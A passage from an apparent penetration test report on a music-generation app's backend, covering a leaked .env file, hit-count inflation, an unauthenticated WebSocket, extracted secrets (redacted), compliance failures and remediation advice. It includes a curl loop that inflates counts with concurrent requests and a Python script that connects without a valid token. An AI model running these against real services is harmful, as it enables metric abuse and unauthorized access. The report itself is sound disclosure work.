# Extracted from APK via: unzip -p base.apk assets/flutter_assets/.env
# BASE_URL=http://[REDACTED-DEV-IP]:30004/app-api
# BASE_URL=https://api-test.[REDACTED-DOMAIN]/app-api
BASE_URL=https://api.[REDACTED-DOMAIN]/app-api
# WS_URL=ws://[REDACTED-DEV-IP]:30004
# WS_URL=wss://api-test.[REDACTED-DOMAIN]
WS_URL=wss://api.[REDACTED-DOMAIN]
IOS_FIREBASEOPTION=DEV
```

Figure 14: .env file contents revealing staging and development infrastructure

Impact

Impact Area	Description
Infrastructure Discovery	Reveals staging URL (leading to VULN-007) and internal development network topology
Configuration Leak	IOS_FIREBASEOPTION=DEV suggests development Firebase project may be active in production

Remediation

Environment configuration should never be bundled in the APK. Use CI/CD pipeline variables to inject environment-specific values at build time. The `flutter_dotenv` package should be configured to use platform-specific build flavors rather than a single .env file with commented-out alternatives.

Checklist

1. Remove .env file from the APK asset bundle
2. Use Dart --dart-define or build flavors for environment configuration
3. Add .env to .gitignore and asset exclusion lists
4. Verify IOS_FIREBASEOPTION=DEV is not causing production to use development Firebase project

LOW

VULN-009: Music Metrics Manipulation

CWE-639: Authorization Bypass Through User-Controlled Key | CVSS 3.1: 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)

Description

The endpoints `GET /member/music/addMusicHit/{id}` and `GET /member/music/addRepostCount/{id}` allow any authenticated user to inflate hit counts and repost counts on any music track regardless of ownership. No ownership verification is performed. While some rate limiting exists, concurrent requests can bypass it partially.

Evidence

Source: Metrics manipulation endpoints

```
# Check before: hitNum = 100848
$ curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/music/detail/100" \
  -H "tenant-id: 1" | jq '.data.musicDetail.musicHitNum'

# Inflate with concurrent requests
for i in $(seq 1 20); do
  curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/music/addMusicHit/100" \
    -H "tenant-id: 1" -H "Authorization: Bearer $TOKEN" &
done; wait

# Check after: hitNum = 100850 (some rate limiting but works)
```

Figure 15: Hit count inflation on arbitrary music tracks

Impact

Impact Area	Description
Metrics Integrity	Artificial inflation of music popularity metrics, potentially affecting recommendation algorithms and content visibility

Remediation

Implement rate limiting per user per track with a cooldown period. Add ownership or interaction validation (e.g., only count hits from unique users who have actually listened to the track). Consider server-side deduplication based on user ID and track ID.

Checklist

1. Implement per-user per-track rate limiting with cooldown
2. Deduplicate hits by user ID to prevent inflation

3. Log anomalous hit patterns for abuse detection

LOW

VULN-010: Unauthenticated WebSocket Connection

CVSS 3.1: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

Description

The WebSocket endpoint at `wss://api.[REDACTED-DOMAIN]/infra/ws` accepts connections without authentication. No token, an empty token, or a fake token all result in a successful connection. The server responds to `ping` messages with `pong`. The app normally connects with `?token=<auth_token>` in the URL, but the token is not validated at connection time. No data leakage to unauthenticated sessions was observed during testing, but the lack of connection-time authentication violates defense-in-depth principles.

Evidence

Source: WebSocket connection without authentication

```
import websocket, ssl
# Connect with NO token — succeeds
ws = websocket.create_connection('wss://api.[REDACTED-DOMAIN]/infra/ws',
    sslopt={'cert_reqs': ssl.CERT_NONE}, header=['tenant-id: 1'])
ws.send('ping')
print(ws.recv())  # 'pong'

# Connect with FAKE token — also succeeds
ws = websocket.create_connection('wss://api.[REDACTED-DOMAIN]/infra/ws?token=FAKE',
    sslopt={'cert_reqs': ssl.CERT_NONE}, header=['tenant-id: 1'])
ws.send('ping')
print(ws.recv())  # 'pong'
```

Figure 16: WebSocket accepts connections without valid authentication token

Impact

Impact Area	Description
Resource Exhaustion	Mass unauthenticated connections could exhaust server resources
Token Leakage	Auth token passed in URL query parameter ?token= can leak in server logs, proxy logs, and referrer headers

Remediation

Validate the authentication token at WebSocket connection time and reject connections with missing or invalid tokens. Move the token from the URL query parameter to a WebSocket subprotocol header or the first message

payload to prevent URL-based token leakage.

Checklist

1. Validate authentication token on WebSocket connection handshake
2. Reject connections with missing, empty, or invalid tokens
3. Move token from URL query parameter to WebSocket header or initial message
4. Implement connection rate limiting per IP

6. Technical Details

Application Architecture

• Build Framework: Flutter (Dart AOT) with Java bridge layers

• Network Layer: Dio HTTP client with ApiInterceptor (adds tenant-id, Authorization, Content-Type, language, Request-Source headers)

• State Management: GetX with GetStorage for local persistence

• Authentication: Firebase Auth (Google Sign-In, Apple Sign-In, Email/Password) with custom JWT tokens

• Backend: Spring Boot microservices ([REDACTED-FW] framework) — 4 services: gateway, infra, system, member

• Database: MySQL 8.0.24 with Druid connection pool

• Cache: Redis 6.2.17

• Service Discovery: Nacos

• CDN: Cloudflare + S3 backend (cdn.[REDACTED-DOMAIN])

• AI Backend: Suno AI (cdn1.[REDACTED-3P]) for music generation

• Media Processing: FFmpegKit 6.0 LTS

• Payment: Stripe (subscriptions + credits), Google Play Billing

• Analytics: AppsFlyer, Firebase Crashlytics, Firebase Performance

• Target SDK: 36 | Min SDK: 27

• Security Config: Debuggable: false | Allow Backup: false | Cleartext: false | No SSL pinning

Secrets Extracted from Database

Secret	Type	Impact
Stripe LIVE secret key (sk_live_[REDACTED]	Payment API	Full payment system access, $44K+ SGD balance

Stripe webhook secret (whsec_ [REDACTED]...)	Payment webhook	Can forge webhook events
Discord OAuth secret (vSL-[REDACTED]...)	OAuth	Impersonate Discord integration
Meta CAPI access token (EAAT[REDACTED]...)	Marketing API	Access to Meta Conversions API
iOS shared key ([REDACTED-IOS-KEY]...)	IAP verification	Verify/forge iOS receipts
Suno AI API key ([REDACTED-SUNO-KEY]...)	AI service	Abuse music generation backend
Banana/Gemini AI key ([REDACTED-AI-KEY]...)	AI service	Abuse AI inference
AppsFlyer S2S key ([REDACTED-AF-KEY]...)	Analytics	Forge attribution events
Default admin password (123456)	Credential	Predictable admin access

7. Compliance Mapping

OWASP Mobile Top 10 (2024)

- ✗ M1: Improper Platform Usage - FAIL (unauthenticated API endpoints, exposed admin panel)
- ✗ M2: Insecure Data Storage - FAIL (tokens in unencrypted GetStorage, .env in APK)
- ✗ M3: Insecure Communication - PARTIAL (TLS used but no certificate pinning)
- ✗ M4: Insecure Authentication - FAIL (multiple endpoints lack authentication entirely)
- ✗ M5: Insufficient Cryptography - FAIL (credentials reused across services, stored in cleartext in DB)
- ✗ M6: Insecure Authorization - FAIL (IDOR on user info, music, and video endpoints)
- ✗ M7: Client Code Quality - FAIL (bundled .env, debug flags, unrestricted file upload)
- ✗ M8: Code Tampering - PARTIAL (not debuggable, but no root/Frida detection beyond analytics)
- ✗ M9: Reverse Engineering - FAIL (Dart code reveals all API structure, endpoints, and auth flow)
- ✗ M10: Extraneous Functionality - FAIL (Spring Boot Admin, actuator endpoints, staging API all accessible)

OWASP API Security Top 10 (2023)

- ✗ API1: Broken Object Level Authorization - FAIL (IDOR on user, music, and video endpoints)
- ✗ API2: Broken Authentication - FAIL (multiple endpoints require no authentication)
- ✗ API3: Broken Object Property Level Authorization - FAIL (private content fields exposed)
- ✗ API4: Unrestricted Resource Consumption - FAIL (no rate limits on file upload, enumeration)
- ✗ API5: Broken Function Level Authorization - FAIL (admin panel unauthenticated)
- ✗ API8: Security Misconfiguration - FAIL (actuator endpoints exposed, databases internet-facing)

Regulatory Compliance

- ✗ GDPR Art. 32: FAIL - Inadequate security measures for personal data processing
- ✗ GDPR Art. 33: FAIL - Breach notification likely required for 301K user PII exposure
- ✗ PCI DSS Req. 3: FAIL - Payment credentials (Stripe keys) stored in cleartext in database
- ✗ Singapore PDPA: FAIL - Personal data of users accessible without authorization

8. Recommendations

Immediate (24-48 hours)

- Disable Spring Boot Admin: Remove public access to /admin and all /actuator endpoints immediately via network firewall
- Firewall databases: Block public access to MySQL (30001), Redis (30002), and Nacos (8848) — restrict to application server IPs only
- Rotate ALL credentials: MySQL password, Redis password, Nacos password, Stripe live keys, Discord OAuth, Meta CAPI token, Suno AI key, iOS shared key, AppsFlyer S2S key, all admin passwords
- Invalidate sessions: Clear all 905,543 OAuth tokens from database and Redis, forcing re-authentication for all users
- Check for webshells: Inspect /www/wwwroot for any unauthorized PHP files written via Redis CONFIG SET
- Add auth to IDOR endpoints: Require authentication on /member/user/info, /member/music/detail, /member/musicMvTask/getInfo, and /infra/file/upload

Short-term (1-2 weeks)

- Restrict staging access: Move api-test.[REDACTED-DOMAIN] behind VPN; remove .env from APK build
- Redis hardening: Disable CONFIG, MODULE, REPLICAOF, DEBUG commands; implement ACLs; upgrade to Redis 7.x
- Database least privilege: Create restricted MySQL user for application; move secrets from infra_config to secrets manager
- File upload security: Implement file type allowlist, size limits, content scanning; set Content-Disposition headers on CDN
- Authorization framework: Implement object-level authorization for all content endpoints (music, video, user profiles)
- WebSocket authentication: Validate tokens at connection handshake; move token from URL to header

Long-term (1-3 months)

- Network segmentation: Separate public gateway from internal microservices; implement proper DMZ architecture
- Replace sequential IDs: Use UUIDs for all public-facing identifiers (users, music, videos) to prevent enumeration
- CDN signed URLs: Implement expiring signed URLs for media content instead of permanent public links
- Security monitoring: Implement centralized logging, anomaly detection, and alerting for unauthorized access patterns
- Penetration testing program: Establish regular security assessments and consider a bug bounty program
- Incident response plan: Develop and test incident response procedures given the scope of current exposure

9. Appendix

A. Key API Endpoints Tested

Endpoint	Auth Required	Finding
GET /member/user/info/{uid}	None	VULN-003: User PII enumeration
GET /member/music/detail/{id}	None	VULN-004: Private music access
GET /member/musicMvTask/getInfo/{id}	None	VULN-004: Private video access
POST /infra/file/upload	None	VULN-006: Arbitrary file upload
GET /member/product/getList	None	Product/pricing enumeration
GET /member/music/addMusicHit/{id}	Bearer token	VULN-009: Metrics manipulation
GET /member/music/addRepostCount/{id}	Bearer token	VULN-009: Metrics manipulation
GET /admin/instances	None	VULN-001: SBA access
GET /admin/instances/{id}/actuator/heapdump	None	VULN-001: Credential extraction
GET /admin/instances/{id}/actuator/logfile	None	VULN-001: PII in logs
WSS /infra/ws	None (not validated)	VULN-010: Unauth WebSocket

B. Infrastructure Components Discovered

Component	Address	Status
MySQL 8.0.24	[REDACTED-IP]:30001	Internet-facing, authenticated access confirmed
Redis 6.2.17	[REDACTED-IP]:30002	Internet-facing, CONFIG SET permitted
Nacos Registry	[REDACTED-IP]:8848	Internet-facing, globalAdmin access confirmed
Gateway Server	[REDACTED-INT-1]:30004, [REDACTED-INT-2]:30004	Internal, accessible via SBA proxy
Infra Server	[REDACTED-INT-1]:30005, [REDACTED-INT-2]:30005	Internal, accessible via SBA proxy
System Server	[REDACTED-INT-1]:30006, [REDACTED-INT-2]:30006	Internal, accessible via SBA proxy
Member Server	[REDACTED-INT-1]:30007, [REDACTED-INT-2]:30007	Internal, accessible via SBA proxy
Staging (all services)	[REDACTED-INT-3]:30004-30007	Internal, accessible via staging SBA
MV API (internal)	[REDACTED-IP]:30100	Internet-facing
Oracle Cloud host	Linux 5.15.0-1081-oracle x86_64	OS identified via Redis INFO

C. Third-Party SDKs Identified

- Firebase Auth, Messaging, Crashlytics, Performance, Remote Config
- AppsFlyer (analytics/attribution, includes basic anti-tamper)
- FFmpegKit 6.0 LTS (media processing)
- Suno AI (music generation backend)
- Stripe (payment processing)
- Google Play Billing
- flutter_dotenv, GetX, GetStorage, Dio, url_launcher, app_links

D. Database Statistics

Table	Row Count	Sensitive Data
member_user	301,440	Email, UID, points, gold, member type, subscription status
member_order	205,749	Complete purchase history
member_music	326,975	All music tracks including private

system_oauth2_ access_token	905,543	Active session tokens for all users
system_users	15	Admin accounts with bcrypt password hashes
member_gift_cdkey	131	Unredeemed gift/promo codes
infra_config	100+	ALL application secrets (Stripe, Discord, Meta, AI keys)